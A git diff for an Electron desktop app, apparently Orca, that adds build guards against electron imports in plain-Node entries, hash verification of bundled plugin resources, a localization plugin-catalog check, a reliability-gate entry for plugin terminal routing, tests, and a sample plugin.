diff --git a/.gitattributes b/.gitattributes
index b1dacdd54..565a02879 100644
--- a/.gitattributes
+++ b/.gitattributes
@@ -10,3 +10,5 @@
 /skill-stubs/*.md text eol=lf
 /skills/*/SKILL.md text eol=lf
 /src/cli/bundled-skill-guides.ts text eol=lf
+# Bundled plugin trees are byte-hashed; CRLF checkout would break the pinned hash.
+/resources/plugins/** text eol=lf
diff --git a/.github/workflows/win-crash-survival-e2e.yml b/.github/workflows/win-crash-survival-e2e.yml
index e4c388ceb..7dc5f0e21 100644
--- a/.github/workflows/win-crash-survival-e2e.yml
+++ b/.github/workflows/win-crash-survival-e2e.yml
@@ -27,7 +27,11 @@ on:
       - 'config/patches/**'
       - 'config/scripts/ensure-native-runtime.mjs'
       - 'config/scripts/rebuild-native-deps.mjs'
+      - 'config/scripts/verify-packaged-plugin-resources.cjs'
       - 'native/**'
+      # Byte-hashed at package time, and CRLF-sensitive on Windows.
+      - '.gitattributes'
+      - 'resources/plugins/**'
       - 'resources/win32/**'
       - 'src/main/daemon/**'
       - 'src/main/index.ts'
diff --git a/build-plugins/plain-node-entry-guard.js b/build-plugins/plain-node-entry-guard.js
new file mode 100644
index 000000000..ba8c0e8e4
--- /dev/null
+++ b/build-plugins/plain-node-entry-guard.js
@@ -0,0 +1,104 @@
+import { spawnSync } from 'node:child_process';
+import { join } from 'node:path';
+// Why: v1.4.129-rc.1 shipped a dead terminal daemon because a shared main
+// chunk gained `require("electron")` (an import edge added in #7642), and the
+// daemon is forked as a plain-Node process where electron cannot be required.
+// Nothing in CI executes the built daemon-entry under plain Node, so the leak
+// stayed invisible until an adopted old daemon died. This guard fails the
+// build when any chunk reachable from a plain-Node fork entry requires
+// electron, and smoke-loads daemon-entry under plain Node to prove its module
+// graph still resolves.
+// Entries executed as plain Node (ELECTRON_RUN_AS_NODE / no electron runtime):
+// forked daemon, parcel-watcher and computer sidecars, and the CLI-run
+// agent-hooks entry. require("electron") throws MODULE_NOT_FOUND in all of them.
+const PLAIN_NODE_ENTRY_NAMES = [
+    'daemon-entry',
+    'parcel-watcher-process-entry',
+    'computer-sidecar',
+    'agent-hooks/managed-agent-hook-controls',
+    'codex/codex-app-server-grant-entry'
+];
+const ELECTRON_REQUIRE_RE = /require\(\s*["']electron["']\s*\)/;
+function collectReachableChunks(entry, byFileName) {
+    const seen = new Set();
+    const reachable = [];
+    const stack = [entry.fileName];
+    while (stack.length > 0) {
+        const fileName = stack.pop();
+        if (seen.has(fileName)) {
+            continue;
+        }
+        seen.add(fileName);
+        const chunk = byFileName.get(fileName);
+        if (!chunk) {
+            continue;
+        }
+        reachable.push(chunk);
+        for (const imported of [...chunk.imports, ...chunk.dynamicImports]) {
+            stack.push(imported);
+        }
+    }
+    return reachable;
+}
+function assertNoElectronRequire(entryName, entry, byFileName) {
+    for (const chunk of collectReachableChunks(entry, byFileName)) {
+        if (ELECTRON_REQUIRE_RE.test(chunk.code)) {
+            throw new Error(`[plain-node-entry-guard] "${entryName}" reaches chunk "${chunk.fileName}" that ` +
+                `requires electron. "${entryName}" runs as a plain-Node process, where ` +
+                `require("electron") throws MODULE_NOT_FOUND and kills it at startup (the ` +
+                `v1.4.129-rc.1 daemon outage). Keep electron imports out of its module graph.`);
+        }
+    }
+}
+// Why: proves the whole daemon-entry graph resolves under plain Node (no
+// unresolved requires). require("electron") does not throw in a dev tree with
+// node_modules present, so the static scan above — not this smoke — is the
+// electron regression guard; this only catches gross load failures.
+function smokeLoadDaemonEntry(outputDir) {
+    const entryPath = join(outputDir, 'daemon-entry.js');
+    const result = spawnSync(process.execPath, [entryPath], {
+        encoding: 'utf8',
+        timeout: 15_000
+    });
+    if (result.error) {
+        throw new Error(`[plain-node-entry-guard] could not smoke-load daemon-entry.js under plain Node: ` +
+            `${result.error.message}`);
+    }
+    const stderr = result.stderr ?? '';
+    if (/Cannot find module|MODULE_NOT_FOUND/.test(stderr)) {
+        throw new Error(`[plain-node-entry-guard] daemon-entry.js failed to load under plain Node:\n${stderr}`);
+    }
+    if (!stderr.includes('Usage: daemon-entry')) {
+        throw new Error(`[plain-node-entry-guard] daemon-entry.js did not reach argv parsing under plain Node ` +
+            `(expected the "Usage: daemon-entry" error). stderr:\n${stderr}`);
+    }
+}
+export function createPlainNodeEntryGuardPlugin() {
+    return {
+        name: 'orca-plain-node-entry-guard',
+        writeBundle(options, bundle) {
+            // Why: skip in `electron-vite dev` watch mode — the smoke would respawn on
+            // every rebuild, and the guard only needs to gate produced builds.
+            if (this.meta.watchMode) {
+                return;
+            }
+            const chunks = Object.values(bundle).filter((item) => item.type === 'chunk');
+            const byFileName = new Map(chunks.map((chunk) => [chunk.fileName, chunk]));
+            const entryByName = new Map();
+            for (const chunk of chunks) {
+                if (chunk.isEntry && chunk.name) {
+                    entryByName.set(chunk.name, chunk);
+                }
+            }
+            for (const entryName of PLAIN_NODE_ENTRY_NAMES) {
+                const entry = entryByName.get(entryName);
+                if (entry) {
+                    assertNoElectronRequire(entryName, entry, byFileName);
+                }
+            }
+            if (entryByName.has('daemon-entry') && options.dir) {
+                smokeLoadDaemonEntry(options.dir);
+            }
+        }
+    };
+}
diff --git a/config/electron-builder.config.cjs b/config/electron-builder.config.cjs
index 1f6246ec5..9a3850661 100644
--- a/config/electron-builder.config.cjs
+++ b/config/electron-builder.config.cjs
@@ -12,6 +12,7 @@ const {
   verifyPackagedMainRuntimeDeps
 } = require('./packaged-runtime-node-modules.cjs')
 const { verifyLinuxGlibcFloor } = require('./scripts/verify-linux-glibc-floor.cjs')
+const { verifyPackagedPluginResources } = require('./scripts/verify-packaged-plugin-resources.cjs')
 
 const isMacRelease = process.env.ORCA_MAC_RELEASE === '1'
 const isLinuxArm64Release = process.env.ORCA_LINUX_ARM64_RELEASE === '1'
@@ -32,11 +33,17 @@ const relayExtraResource = {
   from: 'out/relay',
   to: 'relay'
 }
+// Why: bundled plugins are immutable install inputs and must remain ordinary
+// directories so the startup bootstrap can verify and publish exact bytes.
+const bundledPluginResources = {
+  from: 'resources/plugins/launch',
+  to: 'plugins/launch'
+}
 // Why: the main bundle, packaged CLI, SSH paths, and speech worker all execute
 // from package directories where pnpm's symlink farm is absent. Copy the exact
 // runtime dependency closure to Resources/node_modules so bare require() calls
 // do not fall through to a developer checkout's node_modules.
-const commonExtraResources = [relayExtraResource, skillFreshnessResources]
+const commonExtraResources = [relayExtraResource, bundledPluginResources, skillFreshnessResources]
 const macSpeechNativeResource = {
   from: 'node_modules/sherpa-onnx-darwin-${arch}',
   to: 'node_modules/sherpa-onnx-darwin-${arch}'
@@ -87,6 +94,9 @@ module.exports = {
     // it from process.resourcesPath; exclude the source copy from app.asar.
     '!resources/onboarding/feature-wall/**',
     '!resources/skills/**',
+    // Why: bundled plugins ship via extraResources to resources/plugins/launch;
+    // packing the source tree into app.asar would duplicate those exact bytes.
+    '!resources/plugins/launch/**',
     // Why: the Windows CLI shim ships via extraResources to resources/bin/orca.cmd
     // (beside the native resources/bin/orca.exe). Packing the source tree into
     // app.asar too lets asarUnpack:['resources/**'] extract a second copy at
@@ -129,6 +139,7 @@ module.exports = {
     'out/main/hermes/**',
     'out/main/win32-utils.js',
     'out/main/daemon-entry.js',
+    'out/main/plugin-host-entry.js',
     'out/main/computer-sidecar.js',
     'out/main/parcel-watcher-process-entry.js',
     'out/main/chunks/**',
@@ -178,6 +189,9 @@ module.exports = {
         `[verify-packaged-daemon-entry] skipped boot on cross-arch slice (target ${context.arch}, host ${process.arch})`
       )
     }
+    // Why: inspect electron-builder's real output so a broken extraResources
+    // mapping fails packaging before bundled content reaches users.
+    verifyPackagedPluginResources(resourcesDir)
     chmodUnixCliLaunchers(resourcesDir, context.electronPlatformName)
     chmodMacServeSimHelpers(resourcesDir, context.electronPlatformName)
     for (const filename of readdirSync(resourcesDir)) {
diff --git a/config/reliability-gates.jsonc b/config/reliability-gates.jsonc
index f5200abb1..53c89e200 100644
--- a/config/reliability-gates.jsonc
+++ b/config/reliability-gates.jsonc
@@ -6570,6 +6570,112 @@
         "Windows native runtime watches bypass this child path; WSL reservation/release is deterministic-contract tested but not live fault-injected, and SSH registration ownership is not live-relay fault-injected."
       ],
       "demotionRule": "Demote or quarantine if the fault harness flakes without a product or harness bug, if healthy operation exceeds one runtime watcher child, if total physical operation exceeds eight children including retiring generations, if quarantine children outlive their roots or repeat after fusing, if event delivery becomes unbounded, or if metadata/stat work returns to the serve process."
+    },
+    {
+      "id": "terminal-input.plugin-explicit-worktree-routing",
+      "title": "Plugin terminal input stays inside the freshly resolved worktree",
+      "maturity": "experimental",
+      "protection": "partial",
+      "owner": "plugin-platform",
+      "layer": "main-relay-contract",
+      "surfaces": [
+        "plugin host API terminal input",
+        "active worktree resolution",
+        "provider terminal inventory",
+        "relay capability enforcement"
+      ],
+      "platforms": [
+        "macos",
+        "linux",
+        "windows"
+      ],
+      "providers": [
+        "local",
+        "daemon",
+        "ssh",
+        "wsl",
+        "remote-runtime",
+        "mobile-relay"
+      ],
+      "coveredPlatforms": [
+        "macos"
+      ],
+      "coveredProviders": [
+        "local",
+        "ssh"
+      ],
+      "coverageNotes": "Deterministic macOS contract evidence covers opaque local- and SSH-shaped terminal ids, one bounded worktree listing, mismatch rejection, and the main/relay host-call adapter matrix. It does not launch a live PTY or provision a relay-hosted plugin.",
+      "motivatingLinks": [
+        "https://github.com/stablyai/orca/pull/8549"
+      ],
+      "invariant": "terminal.sendText accepts only an explicit provider-owned terminal id present in one bounded inventory of the worktree resolved immediately before the send; an absent id causes zero send calls, and relay callers cannot supply their own capability grants or transport classification.",
+      "oracle": "Resolve the active worktree once, list that worktree with the v0 terminal cap once, and assert zero sendTerminal calls for a mismatched opaque id versus exactly one send for matching local- and SSH-shaped ids; then run the same permission and schema cases through desktop-main and registered relay panel/worker adapters and compare error codes.",
+      "commands": [
+        "pnpm exec vitest run --config config/vitest.config.ts src/main/plugins/plugin-host-methods.test.ts src/main/plugins/plugin-host-conformance.test.ts"
+      ],
+      "testFiles": [
+        "src/main/plugins/plugin-host-methods.test.ts",
+        "src/main/plugins/plugin-host-conformance.test.ts"
+      ],
+      "assertionRefs": [
+        {
+          "file": "src/main/plugins/plugin-host-methods.test.ts",
+          "assertions": [
+            "a terminal outside the freshly resolved worktree performs one capped list and zero sends",
+            "matching local- and SSH-shaped opaque ids each perform one capped list and one exact send",
+            "workspace.readContext drops provider paths, path-bearing internal worktree ids, and terminal titles while capping its terminal projection"
+          ]
+        },
+        {
+          "file": "src/main/plugins/plugin-host-conformance.test.ts",
+          "assertions": [
+            "all 13 v0 methods succeed with the required consented capability through desktop-main and relay adapters",
+            "missing consent, missing capability, unknown method, malformed params, panel-forbidden access, malformed results, and mutation-audit failure return identical codes",
+            "malformed qualified keys, client-supplied grants, and client-supplied transport flags are rejected before host policy resolution"
+          ]
+        }
+      ],
+      "evidenceRuns": [
+        {
+          "date": "2026-07-10",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/main/plugins/plugin-host-methods.test.ts src/main/plugins/plugin-host-conformance.test.ts",
+          "result": "passed",
+          "durationSeconds": 0.18,
+          "summary": "2 files and 17 tests passed, covering the 13-method main/relay conformance matrix and exact terminal routing call counts."
+        }
+      ],
+      "runtimeBudget": {
+        "p95Seconds": 10,
+        "scope": "plugin host main/relay contract tests"
+      },
+      "flakeHistory": {
+        "status": "unknown",
+        "evidence": "The deterministic focused suite passed locally once and needs CI and soak history before promotion."
+      },
+      "redGreenEvidence": {
+        "status": "partial",
+        "evidence": "Exact mismatch/send counts and adapter error parity are asserted; intentional-break and saved CI evidence are still missing."
+      },
+      "performanceBudget": {
+        "required": true,
+        "evidence": "Each plugin send resolves once, performs exactly one list capped at 50 terminals, and performs at most one send. The path adds no polling, subprocesses, provider fanout, renderer work, or startup await."
+      },
+      "promotionCriteria": [
+        "Run for at least 100 consecutive passes or 14 days across required CI platforms.",
+        "Attach intentional-break evidence for the worktree membership check and relay transport binding.",
+        "Exercise live local and SSH provider terminals, including mismatch rejection and successful input echo.",
+        "Keep relay-hosted plugin provisioning behind a separate reviewed policy before replacing the fail-closed registration."
+      ],
+      "knownGaps": [
+        "Linux and Windows execution evidence is not recorded.",
+        "Daemon, WSL, remote-runtime, and mobile-relay providers have no live input evidence.",
+        "Local and SSH coverage is contract-level over opaque ids, not a live PTY input/echo run.",
+        "The bounded 50-terminal inventory intentionally rejects a target not present in the capped result; scale behavior above that cap needs a targeted membership API before expansion.",
+        "Relay-hosted plugin provisioning, consent persistence, workers, and audit services remain out of scope and the relay registration therefore denies every provisioned identity by default."
+      ],
+      "demotionRule": "Keep experimental or demote to protection none if the suite flakes, permits a mismatched terminal send, performs more than one inventory list per call, accepts client-supplied grants, or relay and desktop error codes diverge."
     }
   ]
 }
diff --git a/config/scripts/electron-builder-config.test.mjs b/config/scripts/electron-builder-config.test.mjs
index 50104b2cd..4d492d68c 100644
--- a/config/scripts/electron-builder-config.test.mjs
+++ b/config/scripts/electron-builder-config.test.mjs
@@ -1,4 +1,4 @@
-import { mkdir, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
+import { cp, mkdir, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
 import { createRequire } from 'node:module'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
@@ -35,17 +35,25 @@ describe('electron-builder config', () => {
         '!pr-evidence{,/**/*}',
         '!Casks{,/**/*}',
         '!{AGENTS.md,CLAUDE.md,DEVELOPING.md,bundle-size-progress.md}',
-        '!out/**/*.test.js'
+        '!out/**/*.test.js',
+        '!resources/plugins/launch/**'
       ])
     )
   })
 
   it('keeps runtime resources available through extraResources', () => {
+    const bundledPluginResources = expect.objectContaining({
+      from: 'resources/plugins/launch',
+      to: 'plugins/launch'
+    })
     for (const platform of ['mac', 'linux', 'win']) {
       expect(electronBuilderConfig[platform].extraResources).toContainEqual({
         from: 'resources/skills',
         to: 'skills'
       })
+      expect(electronBuilderConfig[platform].extraResources).toEqual(
+        expect.arrayContaining([bundledPluginResources])
+      )
     }
     expect(electronBuilderConfig.mac.extraResources).toEqual(
       expect.arrayContaining([
@@ -386,6 +394,11 @@ describe('electron-builder config', () => {
         const resourcesDir = join(root, 'linux-unpacked', 'resources')
         const launcherPath = join(resourcesDir, 'bin', 'orca-ide')
         await mkdir(join(resourcesDir, 'bin'), { recursive: true })
+        await cp(
+          join(process.cwd(), 'resources', 'plugins', 'launch'),
+          join(resourcesDir, 'plugins', 'launch'),
+          { recursive: true }
+        )
         await mkdir(join(resourcesDir, 'node_modules', 'zod', 'src'), { recursive: true })
         // Why: afterPack now fails hard when the unpacked daemon entry is
         // missing, so the fixture must carry one like a real package layout.
diff --git a/config/scripts/verify-localization-catalog.mjs b/config/scripts/verify-localization-catalog.mjs
index 23126da73..1c16279a2 100644
--- a/config/scripts/verify-localization-catalog.mjs
+++ b/config/scripts/verify-localization-catalog.mjs
@@ -385,15 +385,79 @@ function verifyLocaleParity(enCatalog, localeName, localeCatalog) {
 }
 
 function parseArgs(argv) {
-  return {
-    fix: argv.includes('--fix')
+  const pluginCatalogs = []
+  for (let index = 0; index < argv.length; index += 1) {
+    const argument = argv[index]
+    if (argument === '--plugin-catalog') {
+      const catalogPath = argv[index + 1]
+      if (!catalogPath || catalogPath.startsWith('--')) {
+        throw new Error('--plugin-catalog requires a JSON catalog path')
+      }
+      pluginCatalogs.push(catalogPath)
+      index += 1
+    } else if (argument.startsWith('--plugin-catalog=')) {
+      pluginCatalogs.push(argument.slice('--plugin-catalog='.length))
+    }
   }
+  return {
+    fix: argv.includes('--fix'),
+    pluginCatalogs
+  }
+}
+
+async function reportPluginCatalog(root, catalog, pluginCatalogPath) {
+  const resolvedPath = path.resolve(root, pluginCatalogPath)
+  let pluginCatalog
+  try {
+    pluginCatalog = JSON.parse(await fs.readFile(resolvedPath, 'utf8'))
+  } catch (error) {
+    console.error(
+      `Could not read plugin catalog ${normalizePath(root, resolvedPath)}: ${error instanceof Error ? error.message : String(error)}`
+    )
+    return 1
+  }
+  const { enEntries, localeEntries, missingInLocale, extraInLocale, interpolationMismatches } =
+    collectLocaleParityIssues(catalog, pluginCatalog)
+  const translated = enEntries.size - missingInLocale.length - interpolationMismatches.length
+  const coverage = enEntries.size === 0 ? 100 : (translated / enEntries.size) * 100
+  console.log(
+    `Plugin catalog ${normalizePath(root, resolvedPath)}: ${translated}/${enEntries.size} core keys (${coverage.toFixed(1)}% coverage), ${localeEntries.size} catalog entries.`
+  )
+  if (missingInLocale.length > 0) {
+    console.log(formatMissingKeys('missing', missingInLocale.slice(0, 20)))
+    if (missingInLocale.length > 20) {
+      console.log(`...and ${missingInLocale.length - 20} more missing keys`)
+    }
+  }
+  if (extraInLocale.length > 0) {
+    console.log(formatMissingKeys('extra', extraInLocale.slice(0, 20)))
+  }
+  if (interpolationMismatches.length > 0) {
+    console.log(formatMissingKeys('interpolation mismatch', interpolationMismatches.slice(0, 20)))
+  }
+  // Why: absent plugin translations safely fall back to English, but a present
+  // value with different variables can render broken or misleading UI.
+  return interpolationMismatches.length > 0 ? 1 : 0
 }
 
 export async function main(root = process.cwd(), options = parseArgs(process.argv.slice(2))) {
   const localesDir = path.join(root, LOCALES_RELATIVE_DIR)
   const catalogPath = path.join(localesDir, 'en.json')
   const catalog = JSON.parse(await fs.readFile(catalogPath, 'utf8'))
+  const pluginCatalogs = options.pluginCatalogs ?? []
+  if (pluginCatalogs.length > 0) {
+    if (options.fix) {
+      console.error('--fix cannot be combined with --plugin-catalog')
+      return 1
+    }
+    for (const pluginCatalogPath of pluginCatalogs) {
+      const result = await reportPluginCatalog(root, catalog, pluginCatalogPath)
+      if (result !== 0) {
+        return result
+      }
+    }
+    return 0
+  }
   let catalogKeys = new Set(flattenCatalogKeys(catalog))
   const sourceRoots = SOURCE_RELATIVE_ROOTS.map((sourceRoot) => path.join(root, sourceRoot))
   const references = []
diff --git a/config/scripts/verify-localization-catalog.test.mjs b/config/scripts/verify-localization-catalog.test.mjs
index ce148c789..14a41fcef 100644
--- a/config/scripts/verify-localization-catalog.test.mjs
+++ b/config/scripts/verify-localization-catalog.test.mjs
@@ -2,7 +2,7 @@ import { mkdirSync, mkdtempSync, readFileSync, writeFileSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import path from 'node:path'
 
-import { describe, expect, it } from 'vitest'
+import { describe, expect, it, vi } from 'vitest'
 
 import { main as verifyLocalizationCatalog } from './verify-localization-catalog.mjs'
 
@@ -79,4 +79,34 @@ describe('verify-localization-catalog', () => {
     await expect(verifyLocalizationCatalog(root, { fix: true })).resolves.toBe(1)
     expect(readJson(path.join(localesDir, 'en.json'))).toEqual({})
   })
+
+  it('reports partial plugin catalog gaps but rejects malformed interpolation', async () => {
+    const { root } = makeProject({
+      sourceText: 'export {}\n',
+      enCatalog: {
+        auto: { first: 'First {{name}}', second: 'Second' }
+      },
+      esCatalog: {
+        auto: { first: 'Primero {{name}}', second: 'Segundo' }
+      }
+    })
+    const pluginCatalogPath = path.join(root, 'plugin-locale.json')
+    writeJson(pluginCatalogPath, {
+      auto: { first: 'Primeiro {{wrongName}}', pluginOnly: 'Plugin only' }
+    })
+    const report = vi.spyOn(console, 'log').mockImplementation(() => undefined)
+
+    try {
+      await expect(
+        verifyLocalizationCatalog(root, {
+          fix: false,
+          pluginCatalogs: [pluginCatalogPath]
+        })
+      ).resolves.toBe(1)
+      expect(report).toHaveBeenCalledWith(expect.stringContaining('0/2 core keys'))
+      expect(report).toHaveBeenCalledWith(expect.stringContaining('interpolation mismatch'))
+    } finally {
+      report.mockRestore()
+    }
+  })
 })
diff --git a/config/scripts/verify-packaged-plugin-resources.cjs b/config/scripts/verify-packaged-plugin-resources.cjs
new file mode 100644
index 000000000..701c5e732
--- /dev/null
+++ b/config/scripts/verify-packaged-plugin-resources.cjs
@@ -0,0 +1,111 @@
+const { createHash } = require('node:crypto')
+const { lstatSync, readFileSync, readdirSync, statSync } = require('node:fs')
+const { isAbsolute, join, relative, resolve, sep } = require('node:path')
+
+const MAX_PLUGIN_FILES = 2_000
+const MAX_PLUGIN_TOTAL_BYTES = 50 * 1024 * 1024
+
+function hashLength(hash, length) {
+  const framedLength = Buffer.allocUnsafe(8)
+  framedLength.writeBigUInt64BE(BigInt(length))
+  hash.update(framedLength)
+}
+
+function hashPackagedPluginTree(root) {
+  const files = []
+  let entriesVisited = 0
+  let totalBytes = 0
+  const visit = (directory) => {
+    const entries = readdirSync(directory, { withFileTypes: true }).sort((left, right) =>
+      left.name < right.name ? -1 : left.name > right.name ? 1 : 0
+    )
+    for (const entry of entries) {
+      if (directory === root && entry.name === '.git') {
+        continue
+      }
+      const entryPath = join(directory, entry.name)
+      const metadata = lstatSync(entryPath)
+      entriesVisited += 1
+      if (entriesVisited > MAX_PLUGIN_FILES) {
+        throw new Error(`plugin exceeds the ${MAX_PLUGIN_FILES}-entry limit`)
+      }
+      if (metadata.isSymbolicLink()) {
+        throw new Error(`packaged plugin contains a symlink: ${relative(root, entryPath)}`)
+      }
+      if (metadata.isDirectory()) {
+        visit(entryPath)
+      } else if (metadata.isFile()) {
+        totalBytes += metadata.size
+        if (totalBytes > MAX_PLUGIN_TOTAL_BYTES) {
+          throw new Error(`plugin exceeds the ${MAX_PLUGIN_TOTAL_BYTES}-byte limit`)
+        }
+        files.push({ path: entryPath, size: metadata.size })
+      } else {
+        throw new Error(`packaged plugin contains an unsupported entry: ${entryPath}`)
+      }
+    }
+  }
+  visit(root)
+  const hash = createHash('sha256').update('orca-plugin-tree-v1\0')
+  for (const file of files) {
+    const relativePath = relative(root, file.path).replaceAll('\\', '/')
+    hashLength(hash, Buffer.byteLength(relativePath, 'utf8'))
+    hash.update(relativePath, 'utf8')
+    hashLength(hash, file.size)
+    hash.update(readFileSync(file.path))
+  }
+  return hash.digest('hex')
+}
+
+function readJsonFile(path, label) {
+  try {
+    return JSON.parse(readFileSync(path, 'utf8'))
+  } catch (error) {
+    throw new Error(
+      `[verify-packaged-plugin-resources] invalid ${label} at ${path}: ${error instanceof Error ? error.message : String(error)}`
+    )
+  }
+}
+
+function verifyPackagedPluginResources(resourcesDir) {
+  const launchRoot = join(resourcesDir, 'plugins', 'launch')
+  if (!statSync(launchRoot).isDirectory()) {
+    throw new Error(`[verify-packaged-plugin-resources] missing launch directory at ${launchRoot}`)
+  }
+  const index = readJsonFile(join(launchRoot, 'bundled-plugins.json'), 'bundled plugin index')
+  readJsonFile(join(launchRoot, 'orca-marketplace.json'), 'marketplace index')
+  if (index?.version !== 1 || !Array.isArray(index.plugins) || index.plugins.length === 0) {
+    throw new Error('[verify-packaged-plugin-resources] bundled plugin index is empty or invalid')
+  }
+  const resolvedRoot = resolve(launchRoot)
+  for (const entry of index.plugins) {
+    if (
+      typeof entry?.pluginKey !== 'string' ||
+      typeof entry.path !== 'string' ||
+      !/^[0-9a-f]{64}$/.test(entry.contentHash)
+    ) {
+      throw new Error('[verify-packaged-plugin-resources] bundled plugin entry is invalid')
+    }
+    const pluginRoot = resolve(launchRoot, entry.path)
+    const fromRoot = relative(resolvedRoot, pluginRoot)
+    if (!fromRoot || fromRoot === '..' || fromRoot.startsWith(`..${sep}`) || isAbsolute(fromRoot)) {
+      throw new Error('[verify-packaged-plugin-resources] bundled plugin path escapes launch root')
+    }
+    const manifest = readJsonFile(join(pluginRoot, 'orca-plugin.json'), 'plugin manifest')
+    if (`${manifest.publisher}.${manifest.id}` !== entry.pluginKey) {
+      throw new Error(
+        `[verify-packaged-plugin-resources] manifest identity does not match ${entry.pluginKey}`
+      )
+    }
+    if (hashPackagedPluginTree(pluginRoot) !== entry.contentHash) {
+      throw new Error(
+        `[verify-packaged-plugin-resources] packaged bytes do not match ${entry.pluginKey}`
+      )
+    }
+  }
+  console.log(
+    `[verify-packaged-plugin-resources] OK — verified ${index.plugins.length} bundled plugin(s)`
+  )
+}
+
+module.exports = { verifyPackagedPluginResources }
diff --git a/config/scripts/verify-packaged-plugin-resources.test.mjs b/config/scripts/verify-packaged-plugin-resources.test.mjs
new file mode 100644
index 000000000..79dda1f48
--- /dev/null
+++ b/config/scripts/verify-packaged-plugin-resources.test.mjs
@@ -0,0 +1,77 @@
+import { cp, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
+import { createRequire } from 'node:module'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { describe, expect, it } from 'vitest'
+
+const require = createRequire(import.meta.url)
+const { verifyPackagedPluginResources } = require('./verify-packaged-plugin-resources.cjs')
+
+describe('verify packaged plugin resources', () => {
+  it('accepts exact launch bytes copied into a packaged resources directory', async () => {
+    const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
+    try {
+      await cp(
+        join(process.cwd(), 'resources', 'plugins', 'launch'),
+        join(resourcesDir, 'plugins', 'launch'),
+        { recursive: true }
+      )
+
+      expect(() => verifyPackagedPluginResources(resourcesDir)).not.toThrow()
+    } finally {
+      await rm(resourcesDir, { recursive: true, force: true })
+    }
+  })
+
+  it('rejects mutated bytes in the packaged output', async () => {
+    const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
+    try {
+      const launchRoot = join(resourcesDir, 'plugins', 'launch')
+      await cp(join(process.cwd(), 'resources', 'plugins', 'launch'), launchRoot, {
+        recursive: true
+      })
+      await writeFile(
+        join(launchRoot, 'stablyai.orca-navigation-shortcuts', 'extra.json'),
+        '{"mutated":true}\n'
+      )
+
+      expect(() => verifyPackagedPluginResources(resourcesDir)).toThrow(
+        'packaged bytes do not match stablyai.orca-navigation-shortcuts'
+      )
+    } finally {
+      await rm(resourcesDir, { recursive: true, force: true })
+    }
+  })
+
+  // The tree is hashed by raw bytes, so a CRLF checkout on Windows breaks the
+  // pinned hash. These two guard the `.gitattributes` eol=lf pin that prevents it.
+  it('pins the launch tree to LF so Windows checkouts hash identically', async () => {
+    const attributes = await readFile(join(process.cwd(), '.gitattributes'), 'utf8')
+    expect(attributes).toContain('/resources/plugins/** text eol=lf')
+  })
+
+  it('rejects a CRLF checkout of the launch tree', async () => {
+    const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
+    try {
+      const launchRoot = join(resourcesDir, 'plugins', 'launch')
+      await cp(join(process.cwd(), 'resources', 'plugins', 'launch'), launchRoot, {
+        recursive: true
+      })
+      for (const entry of await readdir(launchRoot, { recursive: true })) {
+        const path = join(launchRoot, entry)
+        if (!(await stat(path)).isFile()) {
+          continue
+        }
+        await writeFile(path, (await readFile(path, 'utf8')).replace(/\r?\n/g, '\r\n'))
+      }
+
+      // Every file is rewritten, so the first mismatch is whichever plugin sorts
+      // first — don't pin a name a later branch can reorder.
+      expect(() => verifyPackagedPluginResources(resourcesDir)).toThrow(
+        /packaged bytes do not match stablyai\./
+      )
+    } finally {
+      await rm(resourcesDir, { recursive: true, force: true })
+    }
+  })
+})
diff --git a/electron.vite.config.ts b/electron.vite.config.ts
index 956349c70..02262dd82 100644
--- a/electron.vite.config.ts
+++ b/electron.vite.config.ts
@@ -179,6 +179,7 @@ export default defineConfig({
         input: {
           index: resolve('src/main/index.ts'),
           'daemon-entry': resolve('src/main/daemon/daemon-entry.ts'),
+          'plugin-host-entry': resolve('src/main/plugins/plugin-host-entry.ts'),
           'computer-sidecar': resolve('src/main/computer/sidecar-entry.ts'),
           'stt-worker': resolve('src/main/speech/stt-worker.ts'),
           'warp-theme-parser-worker': resolve('src/main/warp-themes/warp-theme-parser-worker.ts'),
diff --git a/examples/plugins/hello-orca/main.mjs b/examples/plugins/hello-orca/main.mjs
new file mode 100644
index 000000000..17dacd637
--- /dev/null
+++ b/examples/plugins/hello-orca/main.mjs
@@ -0,0 +1,24 @@
+// Sample Orca plugin worker entry. Runs inside the out-of-process plugin
+// worker (plain Node, no Electron), forked lazily on the first trigger. The
+// default export receives the `orca` API: command registration, event
+// handlers, and the capability-gated host API.
+export default function activate(orca) {
+  orca.commands.register('hello-ping', async (args) => {
+    const stored = await orca.host.call('storage.get', { key: 'pings' })
+    const count = (typeof stored?.value === 'number' ? stored.value : 0) + 1
+    await orca.host.call('storage.set', { key: 'pings', value: count })
+    return { pong: true, count, args: args ?? null }
+  })
+
+  orca.events.on('worktree.created', async (payload) => {
+    orca.log(`worktree created: ${payload.worktreeId} at ${payload.path}`)
+    await orca.host.call('notifications.show', {
+      title: 'Worktree created',
+      body: payload.path
+    })
+  })
+
+  orca.events.on('agent.status.changed', (payload) => {
+    orca.log(`agent status: ${payload.state} in ${payload.worktreeId ?? 'unknown worktree'}`)
+  })
+}
diff --git a/examples/plugins/hello-orca/orca-plugin.json b/examples/plugins/hello-orca/orca-plugin.json
new file mode 100644
index 000000000..da41d0f7e
--- /dev/null
+++ b/examples/plugins/hello-orca/orca-plugin.json
@@ -0,0 +1,23 @@
+{
+  "manifestVersion": 1,
+  "id": "hello-orca",
+  "publisher": "orca-samples",
+  "name": "Hello Orca",
+  "version": "1.0.0",
+  "description": "Sample plugin combining a sandboxed panel, a worker command, and event subscriptions.",
+  "engines": { "orca": ">=1.4.0" },
+  "pluginApi": 1,
+  "main": "main.mjs",
+  "contributes": {
+    "panels": [{ "id": "hello", "title": "Hello Orca", "icon": "plug", "entry": "panel.html" }],
+    "commands": [{ "id": "hello-ping", "title": "Hello: Ping" }],
+    "events": [{ "on": "worktree.created" }, { "on": "agent.status.changed" }]
+  },
+  "capabilities": [
+    { "kind": "workspace:read" },
+    { "kind": "terminal:send" },
+    { "kind": "notifications:show" },
+    { "kind": "storage" },
+    { "kind": "events:subscribe" }
+  ]
+}
